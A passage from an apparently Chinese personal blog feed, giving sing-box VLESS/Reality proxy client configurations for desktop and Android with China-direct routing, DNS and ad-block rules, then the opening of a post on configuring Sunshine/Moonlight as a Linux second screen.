        &amp;quot;fc00::&amp;#x2F;7&amp;quot;
      ],
      &amp;quot;auto_route&amp;quot;: true,
      &amp;quot;strict_route&amp;quot;: true,
      &amp;quot;type&amp;quot;: &amp;quot;tun&amp;quot;
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;mixed&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;mixed-in&amp;quot;,
      &amp;quot;listen&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,
      &amp;quot;listen_port&amp;quot;: 10806,
      &amp;quot;tcp_fast_open&amp;quot;: false,
      &amp;quot;tcp_multi_path&amp;quot;: false,
      &amp;quot;udp_fragment&amp;quot;: false
    }
  ],
  &amp;quot;outbounds&amp;quot;: [
    {
      &amp;quot;type&amp;quot;: &amp;quot;selector&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;🚀 Select&amp;quot;,
      &amp;quot;interrupt_exist_connections&amp;quot;: true,
      &amp;quot;outbounds&amp;quot;: [
        &amp;quot;vless-out&amp;quot;,
        &amp;quot;🎈 Auto&amp;quot;
      ]
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;urltest&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;🎈 Auto&amp;quot;,
      &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;www.gstatic.com&amp;#x2F;generate_204&amp;quot;,
      &amp;quot;interval&amp;quot;: &amp;quot;3m&amp;quot;,
      &amp;quot;tolerance&amp;quot;: 150,
      &amp;quot;interrupt_exist_connections&amp;quot;: true,
      &amp;quot;outbounds&amp;quot;: [
        &amp;quot;vless-out&amp;quot;
      ]
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;direct&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;selector&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;🐟 Fallback&amp;quot;,
      &amp;quot;interrupt_exist_connections&amp;quot;: true,
      &amp;quot;outbounds&amp;quot;: [
        &amp;quot;🚀 Select&amp;quot;,
        &amp;quot;🎯 Direct&amp;quot;
      ]
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;selector&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;GLOBAL&amp;quot;,
      &amp;quot;interrupt_exist_connections&amp;quot;: true,
      &amp;quot;outbounds&amp;quot;: [
        &amp;quot;🚀 Select&amp;quot;,
        &amp;quot;🎈 Auto&amp;quot;,
        &amp;quot;🎯 Direct&amp;quot;,
        &amp;quot;🐟 Fallback&amp;quot;
      ]
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;vless&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;vless-out&amp;quot;,
      &amp;quot;server&amp;quot;: &amp;quot;192.0.2.2&amp;quot;,
      &amp;quot;server_port&amp;quot;: 13584,
      &amp;quot;uuid&amp;quot;: &amp;quot;211d952d-cbef-4811-a3f0-xxxxxxxxxxxx&amp;quot;,
      &amp;quot;flow&amp;quot;: &amp;quot;xtls-rprx-vision&amp;quot;,
      &amp;quot;network&amp;quot;: &amp;quot;tcp&amp;quot;,
      &amp;quot;tls&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;disable_sni&amp;quot;: false,
        &amp;quot;server_name&amp;quot;: &amp;quot;aws.amazon.com&amp;quot;,
        &amp;quot;utls&amp;quot;: {
          &amp;quot;enabled&amp;quot;: true,
          &amp;quot;fingerprint&amp;quot;: &amp;quot;chrome&amp;quot;
        },
        &amp;quot;reality&amp;quot;: {
          &amp;quot;enabled&amp;quot;: true,
          &amp;quot;public_key&amp;quot;: &amp;quot;xxxxxx-3J5ReO_EpOBSix7PYhFOzaor0r8xQtEUdjS8&amp;quot;,
          &amp;quot;short_id&amp;quot;: &amp;quot;&amp;quot;
        }
      }
    }
  ],
  &amp;quot;route&amp;quot;: {
    &amp;quot;rules&amp;quot;: [
      {
        &amp;quot;action&amp;quot;: &amp;quot;hijack-dns&amp;quot;,
        &amp;quot;protocol&amp;quot;: &amp;quot;dns&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;clash_mode&amp;quot;: &amp;quot;direct&amp;quot;,
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;clash_mode&amp;quot;: &amp;quot;global&amp;quot;,
        &amp;quot;outbound&amp;quot;: &amp;quot;GLOBAL&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;network&amp;quot;: &amp;quot;icmp&amp;quot;,
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;reject&amp;quot;,
        &amp;quot;protocol&amp;quot;: &amp;quot;quic&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;reject&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;Category-Ads&amp;quot;
        ]
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoSite-Private&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoSite-CN&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoIP-Private&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoIP-CN&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoLocation-!CN&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🚀 Select&amp;quot;
      }
    ],
    &amp;quot;rule_set&amp;quot;: [
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Category-Ads&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geosite&amp;#x2F;category-ads-all.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoIP-Private&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geoip&amp;#x2F;private.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoSite-Private&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geosite&amp;#x2F;private.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoIP-CN&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geoip&amp;#x2F;cn.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoSite-CN&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geosite&amp;#x2F;cn.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoLocation-!CN&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geosite&amp;#x2F;geolocation-!cn.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      }
    ],
    &amp;quot;auto_detect_interface&amp;quot;: true,
    &amp;quot;final&amp;quot;: &amp;quot;🐟 Fallback&amp;quot;,
    &amp;quot;default_domain_resolver&amp;quot;: {
      &amp;quot;server&amp;quot;: &amp;quot;Local-DNS&amp;quot;
    }
  },
  &amp;quot;dns&amp;quot;: {
    &amp;quot;servers&amp;quot;: [
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Local-DNS&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;https&amp;quot;,
        &amp;quot;domain_resolver&amp;quot;: &amp;quot;Local-DNS-Resolver&amp;quot;,
        &amp;quot;server_port&amp;quot;: 443,
        &amp;quot;server&amp;quot;: &amp;quot;223.5.5.5&amp;quot;,
        &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;dns-query&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Local-DNS-Resolver&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;udp&amp;quot;,
        &amp;quot;server_port&amp;quot;: 53,
        &amp;quot;server&amp;quot;: &amp;quot;223.5.5.5&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Remote-DNS&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;tls&amp;quot;,
        &amp;quot;detour&amp;quot;: &amp;quot;🚀 Select&amp;quot;,
        &amp;quot;domain_resolver&amp;quot;: &amp;quot;Remote-DNS-Resolver&amp;quot;,
        &amp;quot;server_port&amp;quot;: 853,
        &amp;quot;server&amp;quot;: &amp;quot;8.8.8.8&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Remote-DNS-Resolver&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;udp&amp;quot;,
        &amp;quot;detour&amp;quot;: &amp;quot;🚀 Select&amp;quot;,
        &amp;quot;server_port&amp;quot;: 53,
        &amp;quot;server&amp;quot;: &amp;quot;8.8.8.8&amp;quot;
      }
    ],
    &amp;quot;rules&amp;quot;: [
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;clash_mode&amp;quot;: &amp;quot;direct&amp;quot;,
        &amp;quot;server&amp;quot;: &amp;quot;Local-DNS&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;clash_mode&amp;quot;: &amp;quot;global&amp;quot;,
        &amp;quot;server&amp;quot;: &amp;quot;Remote-DNS&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoSite-CN&amp;quot;
        ],
        &amp;quot;server&amp;quot;: &amp;quot;Local-DNS&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoLocation-!CN&amp;quot;
        ],
        &amp;quot;server&amp;quot;: &amp;quot;Remote-DNS&amp;quot;
      }
    ],
    &amp;quot;disable_cache&amp;quot;: false,
    &amp;quot;disable_expire&amp;quot;: false,
    &amp;quot;independent_cache&amp;quot;: false,
    &amp;quot;final&amp;quot;: &amp;quot;Remote-DNS&amp;quot;
  }
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;android-ban-ben-shi-yong&quot;&gt;Android 版本使用&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;log&amp;quot;: {
    &amp;quot;disabled&amp;quot;: false,
    &amp;quot;level&amp;quot;: &amp;quot;debug&amp;quot;,
    &amp;quot;output&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;timestamp&amp;quot;: true
  },
  &amp;quot;inbounds&amp;quot;: [
    {
      &amp;quot;type&amp;quot;: &amp;quot;tun&amp;quot;,
      &amp;quot;address&amp;quot;: [&amp;quot;172.19.0.1&amp;#x2F;30&amp;quot;],
      &amp;quot;auto_route&amp;quot;: true,
      &amp;#x2F;&amp;#x2F; &amp;quot;auto_redirect&amp;quot;: true, &amp;#x2F;&amp;#x2F; On linux
      &amp;quot;strict_route&amp;quot;: true
    }
  ],
  &amp;quot;outbounds&amp;quot;: [
    {
      &amp;quot;type&amp;quot;: &amp;quot;selector&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;🚀 Select&amp;quot;,
      &amp;quot;interrupt_exist_connections&amp;quot;: true,
      &amp;quot;outbounds&amp;quot;: [
        &amp;quot;vless-out&amp;quot;,
        &amp;quot;🎈 Auto&amp;quot;
      ]
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;urltest&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;🎈 Auto&amp;quot;,
      &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;www.gstatic.com&amp;#x2F;generate_204&amp;quot;,
      &amp;quot;interval&amp;quot;: &amp;quot;3m&amp;quot;,
      &amp;quot;tolerance&amp;quot;: 150,
      &amp;quot;interrupt_exist_connections&amp;quot;: true,
      &amp;quot;outbounds&amp;quot;: [
        &amp;quot;vless-out&amp;quot;
      ]
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;direct&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;selector&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;🐟 Fallback&amp;quot;,
      &amp;quot;interrupt_exist_connections&amp;quot;: true,
      &amp;quot;outbounds&amp;quot;: [
        &amp;quot;🚀 Select&amp;quot;,
        &amp;quot;🎯 Direct&amp;quot;
      ]
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;selector&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;GLOBAL&amp;quot;,
      &amp;quot;interrupt_exist_connections&amp;quot;: true,
      &amp;quot;outbounds&amp;quot;: [
        &amp;quot;🚀 Select&amp;quot;,
        &amp;quot;🎈 Auto&amp;quot;,
        &amp;quot;🎯 Direct&amp;quot;,
        &amp;quot;🐟 Fallback&amp;quot;
      ]
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;vless&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;vless-out&amp;quot;,
      &amp;quot;server&amp;quot;: &amp;quot;192.0.2.2&amp;quot;,
      &amp;quot;server_port&amp;quot;: 13584,
      &amp;quot;uuid&amp;quot;: &amp;quot;211d952d-cbef-4811-a3f0-xxxxxxxxxxxx&amp;quot;,
      &amp;quot;flow&amp;quot;: &amp;quot;xtls-rprx-vision&amp;quot;,
      &amp;quot;network&amp;quot;: &amp;quot;tcp&amp;quot;,
      &amp;quot;tls&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;disable_sni&amp;quot;: false,
        &amp;quot;server_name&amp;quot;: &amp;quot;aws.amazon.com&amp;quot;,
        &amp;quot;utls&amp;quot;: {
          &amp;quot;enabled&amp;quot;: true,
          &amp;quot;fingerprint&amp;quot;: &amp;quot;chrome&amp;quot;
        },
        &amp;quot;reality&amp;quot;: {
          &amp;quot;enabled&amp;quot;: true,
          &amp;quot;public_key&amp;quot;: &amp;quot;Uqr4g5-3J5ReO_EpOBSix7PYhxxxxxxxxxxxxxxxxxx&amp;quot;,
          &amp;quot;short_id&amp;quot;: &amp;quot;&amp;quot;
        }
      }
    }
  ],
  &amp;quot;route&amp;quot;: {
    &amp;quot;rules&amp;quot;: [
      {
        &amp;quot;action&amp;quot;: &amp;quot;hijack-dns&amp;quot;,
        &amp;quot;protocol&amp;quot;: &amp;quot;dns&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;clash_mode&amp;quot;: &amp;quot;direct&amp;quot;,
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;clash_mode&amp;quot;: &amp;quot;global&amp;quot;,
        &amp;quot;outbound&amp;quot;: &amp;quot;GLOBAL&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;network&amp;quot;: &amp;quot;icmp&amp;quot;,
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;reject&amp;quot;,
        &amp;quot;protocol&amp;quot;: &amp;quot;quic&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;reject&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;Category-Ads&amp;quot;
        ]
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoSite-Private&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoSite-CN&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoIP-Private&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoIP-CN&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoLocation-!CN&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;🚀 Select&amp;quot;
      }
    ],
    &amp;quot;rule_set&amp;quot;: [
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Category-Ads&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geosite&amp;#x2F;category-ads-all.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoIP-Private&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geoip&amp;#x2F;private.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoSite-Private&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geosite&amp;#x2F;private.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoIP-CN&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geoip&amp;#x2F;cn.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoSite-CN&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geosite&amp;#x2F;cn.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;GeoLocation-!CN&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;remote&amp;quot;,
        &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;testingcf.jsdelivr.net&amp;#x2F;gh&amp;#x2F;MetaCubeX&amp;#x2F;meta-rules-dat@sing&amp;#x2F;geo&amp;#x2F;geosite&amp;#x2F;geolocation-!cn.srs&amp;quot;,
        &amp;quot;format&amp;quot;: &amp;quot;binary&amp;quot;,
        &amp;quot;download_detour&amp;quot;: &amp;quot;🎯 Direct&amp;quot;
      }
    ],
    &amp;quot;auto_detect_interface&amp;quot;: true,
    &amp;quot;final&amp;quot;: &amp;quot;🐟 Fallback&amp;quot;,
    &amp;quot;default_domain_resolver&amp;quot;: {
      &amp;quot;server&amp;quot;: &amp;quot;Local-DNS&amp;quot;
    }
  },
  &amp;quot;dns&amp;quot;: {
    &amp;quot;servers&amp;quot;: [
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Local-DNS&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;https&amp;quot;,
        &amp;quot;domain_resolver&amp;quot;: &amp;quot;Local-DNS-Resolver&amp;quot;,
        &amp;quot;server_port&amp;quot;: 443,
        &amp;quot;server&amp;quot;: &amp;quot;223.5.5.5&amp;quot;,
        &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;dns-query&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Local-DNS-Resolver&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;udp&amp;quot;,
        &amp;quot;server_port&amp;quot;: 53,
        &amp;quot;server&amp;quot;: &amp;quot;223.5.5.5&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Remote-DNS&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;tls&amp;quot;,
        &amp;quot;detour&amp;quot;: &amp;quot;🚀 Select&amp;quot;,
        &amp;quot;domain_resolver&amp;quot;: &amp;quot;Remote-DNS-Resolver&amp;quot;,
        &amp;quot;server_port&amp;quot;: 853,
        &amp;quot;server&amp;quot;: &amp;quot;8.8.8.8&amp;quot;
      },
      {
        &amp;quot;tag&amp;quot;: &amp;quot;Remote-DNS-Resolver&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;udp&amp;quot;,
        &amp;quot;detour&amp;quot;: &amp;quot;🚀 Select&amp;quot;,
        &amp;quot;server_port&amp;quot;: 53,
        &amp;quot;server&amp;quot;: &amp;quot;8.8.8.8&amp;quot;
      }
    ],
    &amp;quot;rules&amp;quot;: [
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;clash_mode&amp;quot;: &amp;quot;direct&amp;quot;,
        &amp;quot;server&amp;quot;: &amp;quot;Local-DNS&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;clash_mode&amp;quot;: &amp;quot;global&amp;quot;,
        &amp;quot;server&amp;quot;: &amp;quot;Remote-DNS&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoSite-CN&amp;quot;
        ],
        &amp;quot;server&amp;quot;: &amp;quot;Local-DNS&amp;quot;
      },
      {
        &amp;quot;action&amp;quot;: &amp;quot;route&amp;quot;,
        &amp;quot;rule_set&amp;quot;: [
          &amp;quot;GeoLocation-!CN&amp;quot;
        ],
        &amp;quot;server&amp;quot;: &amp;quot;Remote-DNS&amp;quot;
      }
    ],
    &amp;quot;disable_cache&amp;quot;: false,
    &amp;quot;disable_expire&amp;quot;: false,
    &amp;quot;independent_cache&amp;quot;: false,
    &amp;quot;final&amp;quot;: &amp;quot;Remote-DNS&amp;quot;
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;合并已有配置到主配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;sing-box -C &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F; merge ~&amp;#x2F;.tmp&amp;#x2F;sing-box.merge.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xiang-guan-wen-zhang&quot;&gt;相关文章&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;BBR 开启与代理场景提速实测：&lt;a href=&quot;..&#x2F;..&#x2F;2026&#x2F;08&#x2F;learn&#x2F;bbr-speedup-test&#x2F;&quot;&gt;开启 TCP BBR 实测：代理隧道发送端才有收益&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;抓包排查：[tcpdump 抓包sing-box流量](..&#x2F;..&#x2F;08&#x2F;learn&#x2F;tcpdump 抓包sing-box流量&#x2F;)&lt;&#x2F;li&gt;
&lt;li&gt;客户端配合：[clash verge 与 233boy sing-box 配合使用](..&#x2F;..&#x2F;10&#x2F;clash verge 与 233boy sing-box 配合使用&#x2F;)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sunshine moonlight 配置linux第二屏幕</title>
        <published>2025-11-10T21:14:35+08:00</published>
        <updated>2025-11-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/sunshine moonlight 配置linux第二屏幕/"/>
        <id>https://vercel.juzhong.asia/2025/11/sunshine moonlight 配置linux第二屏幕/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/sunshine moonlight 配置linux第二屏幕/">&lt;p&gt;安装sunshine和moonlight&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 服务端安装sunshine(需要扩展屏幕主机)
